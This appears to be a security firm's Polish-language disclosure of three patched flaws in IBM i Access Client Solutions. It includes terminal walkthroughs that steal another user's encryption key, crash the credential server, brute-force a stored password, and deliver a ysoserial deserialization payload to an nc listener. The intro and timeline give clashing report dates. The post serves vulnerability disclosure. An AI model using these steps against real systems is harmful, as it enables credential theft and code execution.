Podatności w IBM i Access Client Solutions

Michał Majchrowicz i Maksymilian Kubiak z zespołu AFINE odkryli szereg luk w oprogramowaniu IBM i Access Client Solutions związanych z łączeniem serwerów AS400. Połączenie tych luk może umożliwić zdalnemu atakującemu na dostęp do maszyn klienckich i serwerowych. Po odkryciu podatności, skontaktowaliśmy się z dostawcą (IBM) i przedstawiliśmy szczegóły 8 grudnia 2023. 

W tym wpisie omawiamy szczegóły i przedstawiamy dowody wykorzystania podatności dla wszystkich trzech luk:

  • Remote code execution via insecure deserialization (CVE-2023-45185),
  • Broken access control in the temporary credential server (CVE-2023-45184),
  • Weak password storage (CVE-2023-45182).

Podatności wyeliminowano w wersji 1.1.9.4 i nowszej IBM i Access Client Solutions.

Nieprawidłowa kontrola dostępu na lokalnym serwerze

IBM i Access Client Solutions wykorzystywał oddzielny serwer lokalny do przechowywania tymczasowych kluczy szyfrowania haseł, który działał na losowym porcie TCP6. Aplikacja pobierała tymczasowy klucz szyfrowania bez żadnej kontroli dostępu.

Lokalny serwer można łatwo znaleźć używając polecenia netstat:

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6   0   0 :::34307 :::*   LISTEN   3225094/java   off (0.00/0/0)

Więcej szczegółów dotyczących lokalnego serwera możemy potwierdzić za pomocą polecenia ps:

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938  6.8  0.9 13305316 301392 pts/6 Sl+  12:30   0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094  0.3  0.2 11512420 79692 pts/6  Sl+  12:30   0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak  3238934  0.0  0.0   6464  1992 pts/12   R+   12:44   0:00 grep --color=auto java

Możemy uzyskać tymczasowy klucz szyfrowania hasła z lokalnego serwera uruchomionego przez użytkownika mmajchrowicz za pomocą skryptu get_key.py z konta mkubiak (skrypt Python można znaleźć tutaj):

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ./get_key.py 34307        

IBM AS400 Secret Key Recovery Tool v0.2 by Michal Majchrowicz AFINE Team

Received data len: 288
Received data in hex format: b'aced00057372001c636f6d2e69626d2e696163636573732e626173652e4c6d5265706c79000000000000000102000449000b6d5f636f6e646974696f6e4c00056d5f6578637400154c6a6176612f6c616e672f5468726f7761626c653b4c000e6d5f657874656e646564446174617400124c6a6176612f6c616e672f537472696e673b4c000b6d5f7265706c79436f64657400284c636f6d2f69626d2f696163636573732f626173652f4c6d5265706c79245265706c79436f64653b787000000000707400087a6d2f2f69637a2f7e720026636f6d2e69626d2e696163636573732e626173652e4c6d5265706c79245265706c79436f646500000000000000001200007872000e6a6176612e6c616e672e456e756d0000000000000000120000'
Received data in ascii format: b'\xac\xed\x00\x05sr\x00\x1ccom.ibm.iaccess.base.LmReply\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04I\x00\x0bm_conditionL\x00\x05m_exct\x00\x15Ljava/lang/Throwable;L\x00\x0em_extendedDatat\x00\x12Ljava/lang/String;L\x00\x0bm_replyCodet\x00(Lcom/ibm/iaccess/base/LmReply$ReplyCode;xp\x00\x00\x00\x00pt\x00\x08zm//icz/~r\x00&com.ibm.iaccess.base.LmReply$ReplyCode\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00xr\x00\x0ejava.lang.Enum\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00'

Secret key: zm//icz/

Lokalny serwer uruchomiony przez użytkownika mmajchrowicz możemy wyłączyć za pomocą skryptu kill_server.py z konta użytkownika mkubiak (skrypt można znaleźć tutaj):

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ./kill_server.py 34307

IBM AS400 Access Client Credentials Server DoS Tool v0.2 by Michal Majchrowicz AFINE Team

Error: [Errno 104] Connection reset by peer

Credentials server seems to be dead :)

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep 34307
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)

Problem ten był spowodowany przez brak kontroli dostępu źródła żądań

Słabe szyfrowanie haseł

IBM i Access Client Solutions wykorzystuje algorytm AES do przechowywania haseł użytkowników. Okazało się jednak, że 16-bajtowy klucz szyfrujący jest kombinacją statycznego ciągu znaków (Thanatos) i losowych znaków z ciągu znaków, który składa się z innego, statycznego ciągu znaków (Behemoth) połączonego z nazwą użytkownika, katalogiem domowym użytkownika, systemem operacyjnym (np. Linux) połączonym z bieżącym katalogiem, z którego aplikacja jest uruchomiona. W rezultacie połowa klucza szyfrującego jest statyczna (ciąg znaków Thanatos), podczas gdy druga połowa jest bardzo ograniczona. Ułatwia to atakującemu łamanie haseł, nawet na pojedynczym rdzeniu procesora.

Poniżej przykład odszyfrowania hasła użytkownika mmajchrowicz przy użyciu skryptu as400_password_bruteforce_tool.java z konta użytkownika mkubiak (skrypt można znaleźć tutaj):

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java as400_password_bruteforce_tool.java mmajchrowicz_funciton_admin_work.bin Linux mmajchrowicz /opt

IBM AS400 Password Bruteforce Tool v0.3 by Michał Majchrowicz AFINE Team

Full keyspace: mmajchrowiczLinux/opt/home/mmajchrowiczBehemoth
Full keyspace length: 47

Reduced keyspace: BmajchrowizLnux/pte
Reduced keyspace length: 19

Found good pass: Thanatosaun/Lcmo

Encrypted system password 7 bytes:
2E 1B 10 0A 1B 0D 0A
Decrypted system password 7 bytes:
50 65 6E 74 65 73 74

Decrypted system password: Pentest

Problem był spowodowany użyciem słabego szyfrowania haseł.

Zdalne wykonanie kodu poprzez niebezpieczną deserializację

IBM i Access Client Solutions wykorzystywało niebezpieczną deserializację do przechowywania haseł i uzyskiwania klucza deszyfrującego. Może to zostać wykorzystane przez lokalnego lub zdalnego atakującego do wykonania kodu.

Lokalny serwer można łatwo znaleźć używając polecenia netstat:

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6   0  0 :::34307   :::*    LISTEN  3225094/java   off (0.00/0/0)

Więcej szczegółów dotyczących lokalnego serwera możemy potwierdzić za pomocą polecenia ps:

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938  6.8  0.9 13305316 301392 pts/6 Sl+  12:30   0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094  0.3  0.2 11512420 79692 pts/6  Sl+  12:30   0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak  3238934  0.0  0.0   6464  1992 pts/12   R+   12:44   0:00 grep --color=auto java

Wykonanie kodu przez użytkownika mmajchrowicz możemy uzyskać używając payloadu ysoserial z konta użytkownika mkubiak:

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java -jar ysoserial.jar JRMPClient '127.0.0.1:9191' > jrmp.bin

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ (sleep 3; cat jrmp.bin) | nat -6 ::1 34307=

W drugim oknie terminala otrzymamy połączenie w momencie uruchomienia payloadu:

┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ nc -lvnp 9191
listening on [any] 9191 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38012
JRMIK

Problem był spowodowany niebezpieczną deserializacją pakietów sieciowych i danych użytkownika.

Oś czasu

  • Podatności zgłoszone dostawcy: 22.09.2023
  • Wydanie poprawionej wersji 1.1.9.4: 08.12.2023
  • Ujawnienie podatności: 15.12.2023

Referencje

Czy Twoja firma jest bezpieczna w sieci?

Dołącz do grona naszych zadowolonych klientów i zabezpiecz swoją firmę przed cyberzagrożeniami już dziś!

Zostaw nam swoje dane kontaktowe, a nasz zespół skontaktuje się z Tobą, aby omówić szczegóły i dopasować ofertę do Twoich potrzeb. Dbamy o pełną dyskrecję i poufność Twoich danych, dlatego możesz nam zaufać.